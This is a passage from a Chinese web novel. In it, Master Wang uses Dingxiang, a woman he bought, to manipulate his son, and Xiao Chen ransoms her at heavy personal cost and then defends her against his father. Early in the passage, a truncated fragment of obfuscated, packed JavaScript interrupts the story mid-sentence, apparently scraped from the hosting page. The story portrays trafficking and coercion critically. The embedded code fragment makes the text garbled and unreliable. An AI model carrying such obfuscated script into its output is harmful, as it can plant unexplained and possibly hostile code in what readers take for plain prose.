“我要是真放了丁香,”王老爷呷了口茶,目光落在他脸上,带着几分嘲弄,“你觉得她会爱上你?别忘了,肖晨在她心里是有位置的,你拼死拼活救她出去,她未必会领你的情。” 这话像针,扎得王公子心口发疼。他确实想过,若真逃到江南,她会不会……可父亲的话,戳破了那点自欺欺人的念想。 “只要她在府里,”王老爷继续说,声音里带着诱惑,“你起码还能看见她,知道她平安。若是她真跟了别人——不管是肖晨,还是哪个不知名的小子,你甘心?” 王公子猛地抬头,眼里满是愤怒:“你把她当什么了?物件吗?可以让来让去?” “不然呢?”王老爷放下茶杯,冷笑一声,“她本就是我花银子买来的,我想给谁就给谁。你要是识相,别再跟我作对,安安分分做你的王家少爷,”他顿了顿,说出那句最腌臜的话,“等我玩腻了她,再送给你。到时候,她身子是你的,人也跑不了,不比现在这样看得见摸不着强?” “你无耻!”王公子像被踩了尾巴的猫,猛地冲上前,却被家丁死死按住。他红着眼嘶吼,“她不是玩物!你不配提她的名字!” “配不配,不是你说了算。”王老爷看着他激动的样子,反而笑了,“你好好想想我的话。是看着她留在府里,将来还有机会留在你身边;还是逼我动真格,把她送去庄子上,让你这辈子都见不着。” 他站起身,走到王公子面前,拍了拍他的脸:“别傻了,儿子。这世道就是这样,有权有银子,才能握住想握的东西。你跟我犟,最后什么也得不到。” 说完,他挥挥手,让家丁把人拖出去。 王公子被拖出书房时,喉咙里发出困兽般的呜咽。父亲的话像毒蛇,钻进他心里,缠得他喘不过气。 甘心吗? 他不甘心丁香留在这泥沼里,更不甘心她跟别人走。 可父亲那句“等我玩腻了再送给你”,像块烧红的烙铁,烫得他五脏六腑都在疼。 他回到自己院里,把自己关了三天三夜。 第四天开门时,眼底的红血丝褪了,却多了层死寂。他走到偏院——那里早已空无一人,只有风吹过窗棂的呜咽声。 他知道父亲的话是毒药,却偏偏有几分道理。 至少,能让她活着。 至少,还能有个念想。 王公子慢慢蹲下身,捡起地上那支丁香遗落的画笔,指尖触到干涸的墨汁,凉得刺骨。 他终究还是低头了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那点刚被压下去的占有欲,被管家的话勾了起来,像藤蔓一样缠上心脏。 “没了王家的富贵,您以为逃出去就安稳了?”管家看穿了他的心思,继续道,“外面的人眼馋王家的银子,更恨老爷的权势,真逮着您和她,还不往死里欺负?到时候,您连自己都护不住,怎么护她?” 王公子慢慢站起身,背对着管家,声音沙哑得像被砂纸磨过:“我知道了。” 管家松了口气,知道他这是听进去了:“少爷想通就好,这才是明智之举。” 王公子没回头,一步步走出空院。阳光落在他身上,却暖不了他半分。 他知道管家说的是“道理”,是这世道最现实的生存法则。 可心里那点关于“自由”“尊严”的火苗,像是被泼了盆冷水,明明灭灭,最终还是弱了下去。 他回到自己院里,让下人备了笔墨,写下四个字:“安分守己”。 贴在书桌前,像一道符咒,也像一道枷锁。 从此,他不再提放丁香,不再闯柴房,每日按时读书、练字,对父亲言听计从,活成了王家少爷该有的样子。 只是没人知道,夜深人静时,他会对着那幅母亲留下的兰草图,一看就是半夜。 图上的兰草生在石缝里,倔强地朝着阳光。 像极了那个叫丁香的女子。 也像极了曾经的自己。 而城郊的别院,丁香望着窗外的月亮,总觉得心里空落落的。 王公子很久没来了。 是放弃了吗? 也好。 她轻轻抚摸着藏在怀里的银哨,冰凉的触感让她清醒。 或许,这样才是最好的结局。 他做他的王家少爷,她做她的笼中鸟。 谁也别再连累谁。 只是那江南的梦,偶尔还是会闯进夜里。 梦里有自由的风,有摇摇晃晃的船,还有……那个愿意带她逃的少年。 醒来时,只有满枕的泪。 日子就这么不咸不淡地过着。王公子果然如他承诺的那般“安分守己”,每日埋首书堆,对府里的事不闻不问,连父亲偶尔提及丁香,他也只是垂眸饮酒,半句不多言。王老爷见他这般,渐渐放下心来,只当他是彻底断了念想。 而丁香被送去的庄子,比想象中更荒凉。四面是高高的土墙,墙外是望不到头的农田,只有两个老妈子轮流看守,连只飞鸟都难得落下。她每日坐在窗边,看着日头从东边升起,又从西边落下,手里的针线绣了拆、拆了绣,最终也只是绣出一片模糊的兰草。 王公子偶尔会托管家给庄子送些东西——几匹素布,一盒颜料,甚至还有一本新出的诗集。东西送到丁香手里,她从不问是谁给的,只是默默收下,叠好、放妥,像收藏着一点微弱的光。 这天,管家又来送东西,是一小罐桂花糕,还是当初王公子常买的那家老字号。 “少爷说,姑娘或许爱吃。”管家站在院门口,隔着老远递过罐子,语气客气却疏离。 丁香接过罐子,指尖触到微凉的瓷面,轻声道:“替我谢他。” 管家没应声,转身就走。他看得明白,这两人之间,像是隔了层看不见的纱,明明在意,却又不肯靠近。 罐子放在桌上,桂花的甜香漫出来,勾得人心里发慌。丁香捏着盖子,犹豫了许久,终究还是没打开。 她怕一尝这甜味,就会想起那个在偏院陪她说话的少年,想起那辆疾驰在夜色里的马车,想起那些关于江南的、不切实际的梦。 而王府里,王公子正对着棋盘发愣。父亲坐在对面,落下一子:“在想什么?心不在焉的。” “没什么。”王公子收回目光,随意落下一子,“只是觉得这棋路,有些眼熟。” “哦?”王老爷挑眉,“这是我新学的路数,你自然没见过。”他看着儿子,忽然道,“过几日是你母亲的忌日,去庄子上看看吧,那边有块地,是你母亲生前喜欢的。” 王公子的手顿了顿,抬眼看向父亲,眼里闪过一丝诧异。 王老爷避开他的目光,端起茶杯:“顺便……看看那女人,要是安分,就让她回来吧,总在庄子上也不是事。” 王公子的心跳漏了一拍,面上却依旧平静:“好。” 他知道,父亲这是松口了。或许是看他安分了太久,或许是……终究念及一点旧情。 几日后,王公子带着祭品去了庄子。祭拜完母亲,他站在坟前,沉默了许久。 “娘,我好像……变成了你最不喜欢的样子。”他低声说,声音里带着自嘲,“可我没别的办法。” 风吹过麦田,发出沙沙的声响,像是母亲的叹息。 离开坟地,他往丁香住的小院走去。远远就看见她坐在廊下,手里拿着针线,阳光落在她发间,安静得像幅画。 听到脚步声,丁香抬起头,看到是他,眼里闪过一丝惊讶,随即恢复了平静,站起身福了福身:“公子。” “嗯。”王公子走到她面前,看着她手里的绣品——一片模糊的兰草,“在绣花?” “闲着无事,随便绣绣。”她低下头,把绣品往身后藏了藏。 两人站在廊下,一时无话。风吹过,带着麦田的气息,竟比在王府时多了几分自在。 “父亲让我带你回去。”王公子忽然说。 丁香猛地抬头,眼里满是震惊:“回去?回王府?” “嗯。”王公子点头,“回偏院,还是以前的地方。” 丁香的嘴唇动了动,想说什么,最终却只是摇了摇头:“我不回去。” 王公子愣住了:“为什么?” “回去做什么?”丁香笑了笑,眼里带着几分疲惫,“继续被当作物件,被你们父子讨论‘谁先谁后’?公子,我累了。” 她抬起头,直视着他的眼睛,语气平静却坚定:“在这里,虽然偏,却清净。至少,没人会逼我弹琴,没人会算计我,我只想守着这一方小院,安安静静地过。” 王公子看着她眼底的疲惫,心里像被什么东西揪了一下。 他以为带她回去是救赎,却忘了,王府于她而言,从来都是牢笼。 “好。”他点了点头,声音有些沙哑,“你想留在这里,就留下吧。我会跟父亲说,让他们别来打扰你。” 丁香看着他,忽然笑了,眼里带着点释然:“谢谢。” 这声“谢谢”,比以往任何一次都真诚。 王公子没再多说,转身离开了小院。 走出庄子时,他回头望了一眼,那座小院在麦田里,像个孤独的标点。 或许,这才是最好的结局。 他守着王家的枷锁,她守着庄子的清净。 不必再纠缠,不必再挣扎。 只是偶尔,王公子会想起那个月色皎洁的夜晚,马车在土路上疾驰,她眼里的光比星星还亮。 他终究没能带她去江南。 而庄子里,丁香把那罐桂花糕打开,尝了一口,甜得发腻,却让她想起了偏院的阳光,想起了少年微红的脸颊。 她慢慢嚼着,眼泪掉了下来,砸在绣品上,晕开一小片水渍。 兰草的轮廓,忽然变得清晰起来。 像极了她自己。 生在泥沼,却总想朝着阳光。 哪怕,只是在这荒凉的庄子里,独自芬芳。 40. 她比任何人都干净 肖晨回到肖府时,脚步虚浮,脸色比出门时沉了许多。李傲雪正在廊下绣帕子,见他进来,连忙起身迎上去,接过他手里的书袋:“少爷回来了?今日的读书会有趣吗?听说有不少孤本呢。” 肖晨没看她,只是摇了摇头,声音里带着挥不去的疲惫:“没什么意思。”他顿了顿,像是终于憋不住,哑声说,“我在王家,遇见丁香了。” 李傲雪绣帕的手顿了顿,眼里闪过一丝讶异,随即平静下来:“她……怎么会在王家?” “被王老爷买去了。”肖晨的声音发颤,像是想起什么屈辱的画面,拳头又攥紧了,“那老东西把她当物件,还说些不堪入耳的话,我想救她,可我……”他话没说完,就重重叹了口气,满眼的无力,“我什么都做不了。” 他第一次如此痛恨自己的“无能为力”。读了那么多书,懂了那么多道理,却连一个想护的人都护不住。王老爷的权势像座大山,压得他喘不过气。 李傲雪看着他痛苦的样子,轻轻放下绣帕,走到他身边:“少爷别太自责,王老爷在城里势力盘根错节,硬碰硬确实讨不到好。”她顿了顿,语气里带着几分沉稳,“可若是真心想帮,或许……可以想想别的办法。” 肖晨抬头看她:“别的办法?什么办法?” “王老爷最看重什么?是脸面,是银子,是王家的名声。”李傲雪缓缓道,“他既然敢明目张胆买人,就一定有把柄。咱们可以悄悄查查,看他有没有什么见不得光的事,抓住了把柄,或许就能跟他谈条件。” 肖晨愣住了,他从未想过这些。在他眼里,解决问题要么靠道理,要么靠蛮力,却忘了这世道最管用的,往往是阴私的算计。 “可……这会不会太冒险了?”他有些犹豫,“要是被他发现……” “冒险总比眼睁睁看着她受苦强。”李傲雪看着他,眼神清亮,“少爷要是信我,这事就交给我来查。我娘家有些门路,或许能探出些消息。” 肖晨看着她坚定的样子,心里忽然涌上一股暖流。他一直以为李傲雪只是个温顺的少夫人,却没想到她有这样的胆识和主见。 “会不会连累你?”他担心地问。 李傲雪笑了笑:“夫妻本是一体,说什么连累?再说了,我也看不惯王老爷那副嘴脸。”她拿起绣帕,轻轻拍了拍他的手背,“放心吧,我会小心的。你先稳住,别再去找王老爷,免得打草惊蛇。” 肖晨重重地点了点头,眼里重新燃起一点微弱的光:“好,我信你。” 或许,事情还没到绝望的地步。 或许,他真的能为丁香做些什么。 夜里,肖晨坐在灯下,看着窗外的月亮,忽然想起丁香在花船上弹的那首曲子。那时的琴声里有向往,有灵动,不像今日在王家,满是化不开的哀婉。 他拿起笔,在纸上写下“丁香”二字,笔尖顿了顿,又添了一句:“等我。” 虽然前路未知,虽然希望渺茫,可他不想再做那个只会愤怒离去的懦夫。 至少,要为她拼一次。 就像李傲雪说的,总有办法的。 总有一条路,能通向光明。 管家踮着脚走进书房时,王老爷正对着一盏油灯出神。听见脚步声,他眼皮都没抬:“什么事?” “老爷,”管家压低声音,脸上带着几分急色,“咱们安插在肖府附近的人来报,肖晨最近在查咱们,还托了些江湖门路,像是在找……找咱们的把柄。” 王老爷捏着灯芯的手顿了顿,随即嗤笑一声:“他倒是有几分胆子。” “这可不能大意啊,”管家凑近一步,“肖家在城里根基深,真被他们抓住什么把柄,传出去对咱们生意不利,万一被官府拿去做文章……” “慌什么。”王老爷打断他,眼里闪过一丝阴狠,“他想查,就让他查。王家这些年走的路,哪能一点痕迹不留?但他肖晨想拿这些来要挟我,还嫩了点。” 他沉吟片刻,忽然拍了下桌子:“你去,把肖晨请来。就说我有要事相商,关于……丁香的。” 管家一愣:“老爷这是……” “他不是对那女人不死心吗?”王老爷嘴角勾起一抹算计的笑,“我就给他个机会。他肖晨是聪明人,分得清孰轻孰重——一个女人而已,难道还能比肖家的前程、他自己的名声更重要?” 管家立刻明白了:“老爷是想……” “给他指条明路。”王老爷站起身,背着手走到窗边,“告诉他,安分守己,大家相安无事;要是非要揪着那点事不放,那就别怪我不顾情面,让他肖家跟着一起难堪。” 他料定了肖晨不敢赌。肖家世代书香,最重名声,哪能为了一个“来历不明”的女子,跟王家撕破脸,甚至赔上整个家族的利益? “去备帖。”王老爷挥挥手,语气笃定,“就说我在醉仙楼设了宴,单独请他。” 管家应声退下,心里却隐隐有些不安。肖晨那日在王府的决绝,不像是会轻易妥协的样子。 可王老爷的算计,向来没出过错。 两日后,醉仙楼的雅间里,王老爷端着酒杯,看着对面端坐的肖晨,笑得像只老狐狸:“肖公子肯赏脸,王某荣幸。” 肖晨没碰酒杯,开门见山:“王老爷找我,不是为了喝酒吧?” “爽快。”王老爷放下酒杯,“我听说,肖公子最近在查我?” 肖晨脸色微变,随即坦然道:“我只是想知道,丁香姑娘到底犯了什么错,要被您如此对待。” “她没犯错,”王老爷慢条斯理地倒酒,“她是我买来的,我想怎么待她,是我的事。倒是肖公子,为了个女人,动这么多手脚,不怕引火烧身?” 他将一杯酒推到肖晨面前:“你肖家主营茶叶生意,南来北往的商路,多少要过我王家的码头。你说,要是我让人在码头上‘多关照’几句,你今年的茶叶,还能不能按时运到京城?” 肖晨的手指猛地攥紧,脸色沉了下去:“你这是威胁我?” “是提醒。”王老爷笑得人畜无害,“我知道你心善,见不得女子受苦。但你要想清楚,为了一个不相干的女人,毁了肖家几代人的基业,值得吗?” 他身子前倾,语气带着诱惑:“只要你停手,不再查我,也别再惦记丁香,我可以保证,让她在庄子上安安稳稳过一辈子,衣食无忧,没人敢欺负她。这对你、对肖家、对她,都是最好的结局。” “你让我眼睁睁看着她被你困一辈子?”肖晨的声音发颤。 “不然呢?”王老爷挑眉,“你以为你真能救她出去?救出去又能怎样?给她个名分?肖家老太太能容下一个‘曾在花船、又被王家买走’的女子?你别天真了。” 雅间里陷入沉默,只有窗外的风声呜呜作响。 肖晨看着杯里晃动的酒液,王老爷的话像冰锥,戳破了他所有的侥幸。 他确实没想过,真把丁香救出来,该如何安置她。肖家的规矩、外人的眼光、家族的利益……哪一样都不是他能轻易撼动的。 他想救她,可他真的能为了她,赔上整个肖家吗? 王老爷看着他变幻的脸色,知道自己说中了要害,端起酒杯一饮而尽:“肖公子是聪明人,不用我多说。是选一个女人,还是选家族前程,你自己掂量。” 肖晨猛地站起身,胸口起伏,眼里满是挣扎。 最终,他什么也没说,转身冲出了雅间。 王老爷看着他的背影,得意地笑了。 他就知道,肖晨不敢赌。 没有哪个世家公子,会为了一个无关紧要的女人,毁了自己的前程。 管家走进来,见王老爷一脸轻松,连忙问:“老爷,他这是……” “放心吧,”王老爷摆摆手,“他会停手的。” 毕竟,在利益面前,所谓的“情意”,从来都不堪一击。 而雅间外,肖晨站在楼梯口,攥紧的拳头青筋暴起。 王老爷的话,像一条毒蛇,缠得他喘不过气。 救,意味着可能毁掉肖家。 不救,意味着要看着丁香永远困在牢笼里。 他第一次如此痛恨自己的“理智”。 原来,有些选择,从一开始就注定两难。 肖晨回到府里时,脚步发沉,像是灌了铅。李傲雪正在廊下等他,见他脸色铁青,连忙迎上去:“公子,怎么了?王老爷找你说什么了?” 他一把抓住她的手,声音发颤:“他威胁我,说要是我再查下去,就动肖家的商路……还说,丁香的事,让我掂量掂量,是选她,还是选家族。” 李傲雪的手顿了顿,随即安抚道:“公子别慌,他就是想用利益逼你退缩。” “可他说得对,”肖晨松开手,后退一步,眼里满是无力,“我真的能为了丁香,赌上整个肖家吗?我爹娘、族里的人……他们怎么办?” 李傲雪看着他痛苦的样子,轻轻叹了口气:“公子心善,这不是你的错。只是……真的要放弃吗?” 肖晨低下头,说不出话。 这时,旁边侍立的玉溪忽然上前一步,福了福身:“公子,奴婢斗胆说一句。” 肖晨抬眼:“你说。” “公子心真好,”玉溪眼里带着感激,“若不是公子出手,我现在还在花楼里浮沉,哪能有今日安稳日子。”她顿了顿,话锋一转,“但公子想救丁香姑娘,也不是没办法。王老爷说得没错,商人最重利益,既然他拿肖家的利益要挟您,您不如……反过来跟他谈利益。” 肖晨一愣:“谈利益?” “是,”玉溪点头,语气有条有理,“王老爷做的是丝绸生意,最近听说南边的货被卡了,一直找不到靠谱的船运;而肖家在江南有自己的船队,正好能帮上他。您可以跟他谈——用船队帮他运货,换他放了丁香姑娘,再立个字据,从此两清,谁也不欠谁。” 李傲雪眼睛一亮:“这主意好!王老爷最看重的就是生意,南边的货他盯了很久,要是能借肖家的船队打通关节,对他来说是天大的好处,说不定真能答应。” 肖晨也怔住了。他只想着对抗,却没想过“交易”。商人重利,若用足够的利益交换,或许比硬拼更有用。 “可……他会信我吗?”肖晨犹豫,“万一他拿到好处,又反悔怎么办?” “可以请官府的人做见证,立下文书,”玉溪补充道,“写明是‘以船运换自由’,他王家再横,也不敢公然违抗官府的文书。再说,江南的船队是肖家的根基,他要是反悔,您大可以断了他的货路,他得不偿失。” 肖晨看着玉溪,又看了看李傲雪,心里那点熄灭的火苗,忽然又燃了起来。 是啊,他怎么没想到?王老爷用利益要挟他,他也能用利益牵制王老爷。 丝绸生意是王家的命脉,南边的货要是卡住,损失的可不是小数目。而肖家的船队,恰恰是他此刻最大的筹码。 “对,交易!”肖晨猛地站起身,眼里重新有了光,“用船队换她自由,这买卖他未必不做。” 李傲雪笑着点头:“这才是明智之举。既不用撕破脸,又能达成目的,肖家的利益也不会受损。” 肖晨深吸一口气,紧紧攥住拳头:“我这就去准备,明天就去找王老爷谈!” 看着他匆匆离去的背影,玉溪轻轻松了口气,对李傲雪福了福身:“希望能成。” 李傲雪看着她,眼里带着赞许:“你倒是比我们想得透彻。” 玉溪低下头,轻声道:“只是不想看到有人重蹈我的覆辙罢了。” 廊下的风依旧凉,却吹不散肖府里重新燃起的希望。 肖晨坐在灯下,连夜写好了交易的条款,每一条都清清楚楚——肖家船队负责王家南边三个月的丝绸运输,确保平安抵达;王老爷需在收到第一批货后,当场释放丁香,不得再有任何纠缠,并立下永不追究的文书。 他看着纸上的字,心里既紧张又期待。 这或许是唯一能救丁香的办法。 用利益交换自由,听起来现实,却可能是这世道里,最管用的方式。 第二天一早,肖晨拿着条款,再次前往王家。这一次,他的脚步沉稳,眼神坚定。 无论王老爷答应与否,他都要试这最后一次。 为了丁香,也为了自己心里那点未曾熄灭的道义。 王老爷正在花园里逗鸟,见管家引着肖晨进来,眼皮都没抬,慢悠悠道:“肖公子这是想通了?不再查我了?” 肖晨没绕弯子,直接掏出写好的条款:“王老爷,我不是来查您的,是来谈笔交易。我用肖家船队帮您运三个月南边的丝绸,确保万无一失,您放了丁香,立文书永不纠缠。” 王老爷接过条款,扫了两眼就扔在石桌上,嗤笑一声:“就这?肖公子把我当要饭的了?” “这对您是稳赚不赔的买卖,”肖晨沉声道,“南边的货您卡了多久,心里清楚。肖家船队的路子,您也信得过。” “信得过又怎样?”王老爷放下鸟笼,走到他面前,眼神里满是算计,“一个女人换三个月船运?太便宜你了。想让我放她也行,得加钱。” 肖晨皱眉:“加多少?” “一万两。”王老爷伸出一根手指,语气斩钉截铁,“现银,一手交钱,一手交人。” 肖晨的脸色沉了沉。一万两不是小数目,虽不至于让肖家伤筋动骨,却也是笔不小的开销。 没等他开口,王老爷又添了一句:“另外,听说肖公子画技了得,尤其擅长画仕女图?我书房缺几幅像样的画,你得留下来,为我做事三年——不用你干什么粗活,就替我画画、抄抄账本,也算物尽其用。” 这话像故意刁难。让一个世家公子为他做事三年,还要画仕女图,明摆着是想折辱肖晨的脸面。 肖晨攥紧了拳头,指节泛白:“王老爷这是故意为难我。” “为难?”王老爷挑眉,“我放一个‘心头好’给你,收点补偿怎么算为难?再说了,肖公子不是心疼她吗?一万两,三年时间,换她自由,这笔账划得来。” 他凑近一步,压低声音:“你要是不答应,也简单。我现在就把她送到最下等的窑子里,让你这辈子都见不着她好脸色。到时候,你就算有再多船队、再多银子,也换不回她的清白。” 肖晨的胸口剧烈起伏,眼里满是愤怒和挣扎。 一万两,他可以想办法凑。可三年……为他做事三年,还要忍受旁人的指点和嘲笑,这对看重名声的肖家来说,是奇耻大辱。 可他看着王老爷那副有恃无恐的嘴脸,知道对方说得出做得到。一旦拒绝,丁香的下场不堪设想。 “我需要时间考虑。”肖晨的声音沙哑。 “给你三天,”王老爷笑得得意,“三天后,要么带银子来签字画押,要么……就等着听她的消息吧。” 肖晨没再说话,转身离开了王家。阳光刺眼,他却觉得浑身冰凉。 回到府里,李傲雪见他脸色不对,连忙问明缘由。听完后,她沉默了许久,才轻声道:“一万两我可以想办法凑,只是这三年……” “我答应。”肖晨忽然说,语气异常坚定,“三年就三年,画画就画画。只要能换她自由,这点屈辱算什么?” 他看着李傲雪,眼里带着歉疚:“只是要委屈你了,肖家可能会被人指指点点。” 李傲雪摇摇头,握住他的手:“你做得对。名声再重要,也比不上一条人命,一份自由。再说,三年很快就过去了,等她走了,咱们就去江南住些日子,眼不见为净。” 肖晨看着她理解的眼神,心里涌上一股暖流。 或许,这就是最好的选择。 用三年的隐忍,换一个女子的新生。 值得。 三天后,肖晨带着一万两银票,再次来到王家。 王老爷看着银票,又看了看肖晨平静的脸,眼里闪过一丝诧异,随即化为得意:“肖公子果然识时务。” 他让人拿来笔墨,肖晨拿起笔,在“为王家做事三年”的文书上,落下了自己的名字。 笔尖划过纸页的声音,轻得像一声叹息。 从今天起,他不再是那个自在的世家公子,而是王家的“幕僚”。 但他不后悔。 因为他知道,用不了多久,丁香就能重获自由。 这就够了。 王老爷让人去庄子把丁香接来时,她还穿着那件素色的旧衣,头发简单挽着,手里攥着那支磨得发亮的银哨。进了王府正厅,看到肖晨站在那里,她先是一愣,随即明白了什么,脸色瞬间白了。 “丁香,”王老爷靠在太师椅上,把玩着手里的玉扳指,语气带着施舍般的随意,“今天你就自由了,肖公子替你赎身了。” 丁香的目光猛地投向肖晨,眼里满是震惊和慌乱:“肖公子,你……” “你别听他的。”肖晨走上前,避开王老爷的视线,看着她,声音放得轻柔,“我只是想让你自由。” “自由?”丁香的声音发颤,目光扫过他手里的文书,又看向王老爷那副得意的嘴脸,瞬间明白了其中的代价,“你是不是答应了他什么?你不能为了我这样!” 她往后退了一步,摇着头,眼里涌满了泪:“我不要这样的自由,公子,你快把文书撕了,我回庄子去,我哪里也不去!” 她知道,王老爷那样的人,绝不会平白无故放人,肖晨一定付出了极大的代价。她不想欠他这么多,更不想他为了自己,落入王老爷的算计。 “别傻了。”肖晨看着她泛红的眼眶,心里一紧,却强装平静,“我没答应什么过 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丁香看着他眼里的执拗,看着他指尖因用力而泛白的关节,心里像被什么东西狠狠撞了一下。眼泪掉得更凶了,却再也说不出拒绝的话。 她知道,他是真心想救她。 王老爷不耐烦地挥挥手:“行了行了,要走赶紧走,别在我这儿碍眼。” 肖晨不再犹豫,轻轻握住丁香的手腕,她的手很凉,像冰一样。他拉着她,一步步走出王府大门。 门外的阳光很亮,刺得丁香眯起了眼。她回头望了一眼那座高高的门楼,像望着一场漫长的噩梦。 “别怕,”肖晨感觉到她的颤抖,放缓了脚步,“以后再也没人能困住你了。” 丁香低下头,看着两人交握的手,眼泪无声地滑落,滴在青石板上,晕开一小片湿痕。 自由来得太突然,带着沉甸甸的暖意,也带着无法言说的愧疚。 她不知道前路会怎样,不知道肖晨到底付出了什么代价,可此刻,被他拉着走在阳光下,掌心传来的温度,却让她莫名地安心。 或许,真的可以相信一次。 相信这世间,真的有人,会为了一个陌生人的自由,甘愿付出。 她轻轻吸了口气,抬起头,跟着他往前走去。 阳光落在两人身上,拉出两道长长的影子,像一条通往新生的路。 肖晨带着丁香刚走进肖府大门,就见肖父背着手站在影壁前,脸色铁青得像块铁。下人们低着头缩在一旁,连大气都不敢喘。 “你还知道回来!”肖父劈头就骂,声音震得廊下的灯笼都晃了晃,“我问你,你把那个女人带回来做什么?!” 他的目光像刀子一样刮过丁香,带着毫不掩饰的嫌恶:“我们肖家世代清白,你把这种不清不楚的女人领进门,是想让全城的人笑掉大牙吗?你把我们家当什么了?藏污纳垢的地方?” 丁香的脸瞬间白了,下意识地往肖晨身后躲了躲,指尖攥得发白。 “爹!”肖晨往前一步,将丁香护在身后,语气带着从未有过的强硬,“她不是什么‘脏女人’,她叫丁香。她是被人胁迫,身世可怜,我救她回来,问心无愧!” “问心无愧?”肖父气得发抖,指着丁香,“一个在花船待过、又被王家买走的女人,你说她干净?肖晨,你是不是被鬼迷心窍了!” “她干净!”肖晨提高了声音,眼里满是坚定,“她比这世上很多道貌岸然的人都干净!她没害过人,没做过亏心事,只是想活下去而已!爹,您不能凭她的过去就否定她的全部!” “我是你爹!这个家还轮不到你做主!”肖父怒吼,“今天你必须把她赶走,否则就别认我这个爹!” “我不会赶她走。”肖晨梗着脖子,寸步不让,“她刚重获自由,无依无靠,我要是把她赶走,跟王老爷有什么区别?爹常教我‘仁善为本’,难道只是说说而已?” “你——”肖父被他噎得说不出话,指着他的手都在抖,“你为了一个外人,敢这么跟我说话?你忘了肖家的名声了吗?忘了你答应过要好好打理家业吗?” “名声是靠行得正坐得端挣来的,不是靠踩低别人得来的。”肖晨的声音沉了下来,“我答应打理家业,但也不会做违背良心的事。丁香暂时住在这里,等她找到落脚的地方就走,在此之前,我绝不会让她再受委屈。” 他说完,不再看肖父铁青的脸,侧身对丁香轻声道:“别怕,跟我来。” 拉着丁香往内院走时,他能感觉到背后肖父愤怒的目光,也能感觉到身旁丁香微微的颤抖。走到月亮门边,他停下脚步,回头对肖父说:“爹,您会明白的,她值得。” 肖父看着儿子护着那个女人的背影,气得一甩袖子,转身进了书房,重重摔上了门。 下人们面面相觑,谁也不敢出声。 内院的小跨院里,李傲雪早已收拾好了房间。见肖晨带着丁香进来,她连忙迎上去,笑着对丁香说:“姑娘一路辛苦了,先歇歇脚,我让厨房备了些热汤。” 丁香看着她温和的笑,又看了看肖晨眼里的安抚,紧绷的神经终于松了些,对着李傲雪福了福身:“多谢少夫人。” 肖晨看着她苍白的脸,轻声道:“你先在这儿住下,有我在,没人能欺负你。” 丁香抬起头,眼里含着泪,却用力点了点头。 她知道,前路或许还有风雨,肖父的态度、外人的眼光,都是难题。 可此刻,这间小小的跨院,这两个人的善意,却让她觉得,这来之不易的自由,终究是暖的。 肖晨安顿好丁香,见她拘谨地坐在床边,手指无意识地绞着衣角,便走上前轻声道:“这屋子还缺些什么?笔墨纸砚?或是你惯用的香料?告诉我,我让人去置办。” 丁香摇摇头,声音轻得像羽毛:“公子不用为我费心,我住一天就走。”她抬眼看向肖晨,眼里满是恳切,“我知道你为了救我,已经和王老爷做了交易,如今又惹得肖老爷动怒,我……我不能再让你们父子因为我产生矛盾。” 她心里清楚,肖父的态度有多强硬,自己留在肖府,只会让肖晨为难。与其这样,不如早点离开,哪怕出去找个小地方落脚,也好过成为别人的负担。 肖晨却皱起眉:“谁说你要走了?”他在她对面坐下,语气认真,“这不是你的错,是我自己的决定。我爹那边,你不用担心,他只是一时转不过弯,我会去劝他的。” 他顿了顿,放缓了声音:“你刚重获自由,身无分文,又没地方可去,现在出去怎么生活?听话,先在这儿住下,等过些日子,你想清楚要去哪里,或是想做些什么,我再帮你安排。” 丁香咬着唇,眼圈泛红:“可肖老爷他……” “他是我爹,不会真把我怎么样的。”肖晨笑了笑,试图让她安心,“以前我闯祸,他气过之后也就算了。这次也一样,给他点时间,他会明白的。” 其实他心里也没底,父亲的脾气有多固执,他比谁都清楚。可他不能让丁香刚脱离牢笼,就再陷入无依无靠的境地。 “你就当是帮我个忙,”肖晨看着她的眼睛,语气诚恳,“留下来,让我知道你是平安的,不然我这心里总放不下。” 丁香看着他眼里的坚持,看着他为了让自己安心而故作轻松的样子,到了嘴边的拒绝,怎么也说不出口。 是啊,她现在出去,又能去哪里呢?庄子回不去了,外面的世界陌生又危险,她一个弱女子,连养活自己都难。 见她沉默,肖晨知道她听进去了,便起身道:“你先歇着,我去看看厨房的汤好了没。” 他走出门,李傲雪正站在廊下等他,见他出来,低声道:“爹还在书房气着呢,晚饭都没出来吃。” 肖晨叹了口气:“我知道,等会儿我去看看他。” “丁香姑娘那边……” “她想走,觉得是自己的错。”肖晨语气无奈,“我让她先留下了。” 李傲雪点点头:“也好,她一个人出去确实危险。慢慢来,总会好的。” 肖晨看向那扇紧闭的房门,心里默默道:会好的。 无论是父亲那边,还是丁香的将来,总会找到解决的办法。 而房间里,丁香走到窗边,看着院里的石榴树。阳光透过叶隙洒下来,落在她手背上,暖融融的。 她轻轻摸了摸怀里的银哨,那是王公子送的,如今却要在肖府安身。命运兜兜转转,竟让她欠下了两笔还不清的情分。 但她知道,此刻能做的,只有先留下。 不为自己,也为了不辜负肖晨的一片苦心。 至于将来……走一步看一步吧。 至少,她现在是自由的。 这就够了。 41. 流言蜚语,王老爷的算计 肖晨推开书房门时,肖父正背对着他站在窗前,手里攥着一卷书,指节都捏白了。听见脚步声,他猛地转过身,眼里的怒火几乎要喷出来:“你还知道来见我?说,什么时候把那个女人赶出去?” “爹,”肖晨走到他面前,垂下眼,语气却异常坚定,“只要您肯留下她,以后您说什么我都答应。家里的生意我会用心学,您让我娶谁我就娶谁,绝不反驳。” 肖父愣住了,似乎没料到他会做出这样的让步,随即气得发抖:“你为了她,连自己的终身大事都能赌上?肖晨,你是不是疯了!” “她不能走。”肖晨抬起头,直视着父亲的眼睛,声音里带着恳求,“她是个善良的女子,在王府受了那么多苦,性子却依旧干净。您要是把她赶出去,她身无分文,又被王老爷记恨,外面全是虎狼,出去就是死路一条啊!” “死路一条也是她的命!”肖父怒吼,“我们肖家凭什么要为一个不相干的女人担风险?你让外人知道了,会怎么戳我们脊梁骨?” “脊梁骨不是靠踩低别人撑起来的。”肖晨的声音发颤,却没退让,“您总教我要行仁道、存善念,怎么到了她这里,就全忘了?她没做错任何事,只是命苦,难道我们眼睁睁看着她送死吗?” 他上前一步,深深鞠了一躬:“爹,算我求您了。让她在府里多住些日子,等风头过了,我再给她找个安稳的去处,绝不连累肖家名声。这期间,我一定好好学做生意,绝不再让您生气。” 